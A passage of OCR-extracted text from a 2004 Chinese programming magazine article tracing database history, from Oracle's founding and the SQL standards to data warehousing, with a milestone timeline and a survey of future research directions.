报局做过的项目名。几个月后,他们就开
发了Oracle 1.0 。但这只不过是个玩具,
除了完成简单关系查询不能做任何事情,
他们花相当长的时间才使Oracle变得可
用,维持公司运转主要靠承接一些数据
库管理项目和做顾问咨询工作。
而IBM却没有计划开发,为什么蓝
色巨人放弃了这个价值上百亿的产品,
原因有很多:IBM的研究人员大多是学
术出身,他们最感兴趣的是理论,而非
推向市场的产品,从学术上看,研究成
果应公开,发表论文和演讲能使他们
成名,为什么不呢?还有一个很主要
的原因就是IBM 当时有一个销售得还
不错的层次数据库产品IMS。直到1985
年I B M 才发布了关系数据库D B 2 ,
Ellision那时已经成了千万富翁。
Ellison曾将IBM 选择Microsoft 的
MS-DOS作为IBM-PC机的操作系统比
为:“世界企业经营历史上最严重的错
误,价值超过了上千亿美元。”IBM 发
表R系统论文,而且没有很快推出关系
数据库产品的错误可能仅仅次之。
Oracle 的市值在1996年就达到了280亿
美元。
Oracle 的由来
48 程序员2004.06
SQL文本。目前SQL标准有3个版本。基
本SQL定义是ANSIX3135-89,“Database
Lan guage —— SQ L w it h I nt e gri t y
Enhancement”[ANS89],一般叫做SQL-
89。SQL-89 定义了模式定义、数据操作
和事务处理。S Q L - 8 9 和随后的
ANSIX3168-1989,“Database Language—
—Embedded SQL”构成了第一代SQL标
准。ANSIX3135-1992[ANS92]描述了一
种增强功能的SQL,现在叫做SQL-92标
准。SQL-92 包括模式操作,动态创建和
SQL语句动态执行、网络环境支持等增
强特性。在完成SQL-92标准后,ANSI和
ISO即开始合作开发SQL3标准。SQL3的
主要特点在于抽象数据类型的支持,为
新一代对象关系数据库提供了标准。
4. 面向对象数据库
随着信息技术和市场的发展,人们
发现关系型数据库系统虽然技术很成熟,
但其局限性也是显而易见的:它能很好
地处理所谓的“表格型数据”,却对越来
越多复杂类型的数据为力。九十年
代以后,技术界一直在研究和寻求新型
数据库系统。但什么是新型数据库系统
的发展方向,产业界一度相当困惑。受当
时技术风潮的影响,在相当一段时间内,
人们把大量的精力花在研究“面向对象
的数据库系统(O b j e c t - O r i e n t e d
Database)”或简称“OO数据库系统”。
值得一提的是,美国Stonebraker教授提
出的面向对象的关系型数据库理论曾一
度受到产业界的青睐。而Stonebraker本
人也在当时被Informix花大价钱聘为技
术总负责人。
然而,数年的发展表明,面向对象的
关系型数据库系统产品的市场发展情况
并不理想。理论上的完美性并没有带来
市场的热烈反应。不成功的主要原因在
于,这种数据库产品的主要设计思想是
企图用新型数据库系统来取代现有的数
据库系统。这对许多已经运用数据库系
统并积累了大量工作数据的客户,尤其
是大客户来说,无法承受新旧数据间的
转换而带来的巨大工作量及巨额开支。
另外, 面向对象的关系型数据库系统使
查询语言变得极其复杂,从而使得无论
是数据库的开发商家还是应用客户都视
其复杂的应用技术为畏途。
5. 数据管理的变革
二十世纪六十年代后期出现了一种
新型数据库软件:决定支持系统(DSS),
其目的是让管理者在决策过程中更有效
地利用数据信息。于是在1970 年,第一
个联机分析处理工具—— Express 诞生
了。其他决策支持系统紧随其后,许多是
由公司的IT 部门开发出来的。
1 9 8 5 年,第一个商务智能系统
(business intelligence)由Metaphor计
算机系统有限公司为Procter & Gamble
公司开发出来,主要用来连接销售信息
和零售的扫描仪数据。同年, Pilot软件
公司开始出售第一个商用客户/ 服务器
执行信息系统—— Command Center。
同样在这年,加州大学伯克利分校
Ingres 项目演变成Postgres,其目标是开
发出一个面向对象的数据库。此后一年,
Graphael公司开发了第一个商用的对象
数据库系统—— Gbase。
1988 年,IBM 公司的研究者Barry
Devlin和Paul Murphy发明了一个新的
术语——信息仓库,之后,IT厂商开始
构建实验性的数据仓库。1991年,W.H.
Inmon出版了一本《如何构建数据仓库》
的书,使得数据仓库真正开始应用,因此
Inmon 也被尊称为“数据仓库之父”。
二十世纪九十年代,随着客户/ 服
务器计算模式和企业软件包的广泛采用,
数据管理的变革基本完成。数据管理不
再仅仅是存储和管理数据,而转变成用
户需要的各种数据管理的方式。Internet
的异军突起以及XML语言的出现,给数
据库系统的发展开辟了一片新天地。
数据库未来发展趋势
随着信息管理内容的不断扩展,出
现了丰富多样的数据模型(层次模型,网
状模型,关系模型,面向对象模型,半结
构化模型等),新技术也层出不穷(数据
流,Web数据管理,数据挖掘等)。
目前每隔几年,国际上一些资深的
数据库专家就会聚集一堂,探讨数据库
研究现状,存在的问题和未来需要关注
的新技术焦点。过去已有的几个类似报
告包括:1989 年Future Directions in
DBMS Research-The Laguna Beach
Participants ,1990 年Database
S y s t e m s : A c h i e v e m e n t s a n d
Opportunities ,1995 年的Database
1991:W.H. Inmon 发
表了《构建数据仓库》
数据库发展大事记
1951:Univac系统使用磁带和穿孔卡
片作为数据存储。
1956:IBM公司在其Model 305 RAMAC
中第一次引入了磁盘驱动器
1961:通用电气(GE)公司的Charles
Bachman开发了第一个数据库
管理系统—— IDS
1969:E.F. Codd发明了关系数据库。
1973:John J.Cullinane领导Cullinane公
司开发了 IDMS ——一个针对
IBM 主机的基于网络模型的数
据库。
1976:Honeywell 公司推出了Multics
Relational Data Store ——第一
个商用关系数据库产品。
1979:Oracle公司引入了第一个商用
SQL 关系数据库管理系统。
1983:IBM 推出了DB2 数据库产品。
1985:为Procter & Gamble 系统设计
的第一个商务智能系统产生。
1991:W.H.Inmon发表了《构建数据
仓库》。
管理·开发故事
程序员2004.06 49
Research; Achievements and Opportunities
into the 21st Century,1996
年Strategic Directions in Database
Systems-Breaking Out of the Box 和
1998 年的The Asilomar Report on
Database Research。2003 年的聚会于5
月初在Lowell Mass举行,共25位资深
数据库学者参加,集中讨论了信息存储、
组织、管理和访问等问题。
信息的本质和来源在不断变化,
Internet、Web、自然科学、电子商务是
信息和信息处理的巨大源泉。而廉价的
微型传感器技术使得大部分物体可以实
时汇报他们的位置和状态。这类信息能
支持对移动对象的状态和位置的监视应
用。传感信息的处理将会引发许多新环
境下极有趣味的数据库问题。
而在应用领域,Internet是目前主要
的驱动力,特别是在支持“跨企业”的应
用上。历史上,应用都是企业内部的,可
以在一个行政领域内进行完善的指定和
优化。但现在,大部分企业感兴趣的是如
何与供应商、客户进行更密切的交流以
便共享信息,以便提供更好的客户支持。
这类应用需要安全和信息集成的有力工
具。由此产生了数据库相关的新问题。
另一个重要应用领域是自然科学,
特别是物理科学、生物科学、保健科学和
工程领域。这些领域产生了大量复杂的
数据集,需要比现有的数据库产品更高
级的数据库支持。这些领域同样也需要
信息集成机制的支持。除此之外,还需要
对数据分析器产生的数据管道的管理,
需要对有序数据的存储和查询(如:时间
序列、图像分析、网格计算和地理信息),
需要世界范围内数据网格的集成。
除了在信息管理领域的这些挑战外,
在传统的DBMS 上,诸如数据模型、访
问方法、查询处理代数、并发控制、恢复、
查询语言和DBMS的用户界面等也面临
着巨大的变化。这些问题过去已经得到
充分的研究,但是技术的发展不断改变
其应用规则。比如说,磁盘和RAM容量
的不断变大,存储每个比特数据的花费
不断降低。虽然访问次数和带宽也在不
断提高,但是他们不像前者发展得那样
快,不断变化的比率要求重新评估存储
管理和查询处理代数。除此之外,处理器
高速缓存的规模和层次的提高,要求
DBMS 算法能够适应cache大小的变化。
上述只是由于技术改变而对原有算法重
新评价的两个例子。
另一个推动数据库研究发展的动力
是相关技术的成熟。如过去几十年里,数
据挖掘技术已成为数据库系统重要的组
成部分。Web搜索引擎导致了信息检索
的商品化,并和传统的数据库查询技术
集成。许多人工智能领域的研究成果也
和数据库技术融合起来,这些新组件使
得我们处理语音、自然语言、进行不确定
性推理和机器学习等。整体上,这些都要
求一个与我们现在完全不同的信息管理
架构,并重新考虑信息存储、组织、管理
和访问等方面的问题。
近40年中,数据库研究工作集中在
数据库管理系统开发的核心领域上,而
数据管理的研究范畴远比这宽的多。如
果忽视一些新的应用领域面临的数据管
理问题,就会使数据库研究局限于传统
的数据管理应用上而失去活力。
在众多新技术应用中,对数据库研
究最具影响力,推动数据库研究进入新
纪元的无疑将是I n t e r n e t 的发展。
Internet从深度和广度两方面对数据库技
术提出了挑战。从深度上讲,Internet环
境中,一些数据管理的基本假设不再成
立,需要重新考虑在新情况下对传统数
据库技术的改进。从广度上讲,新问题的
出现需要开拓思路,寻求创新性的技术
突破。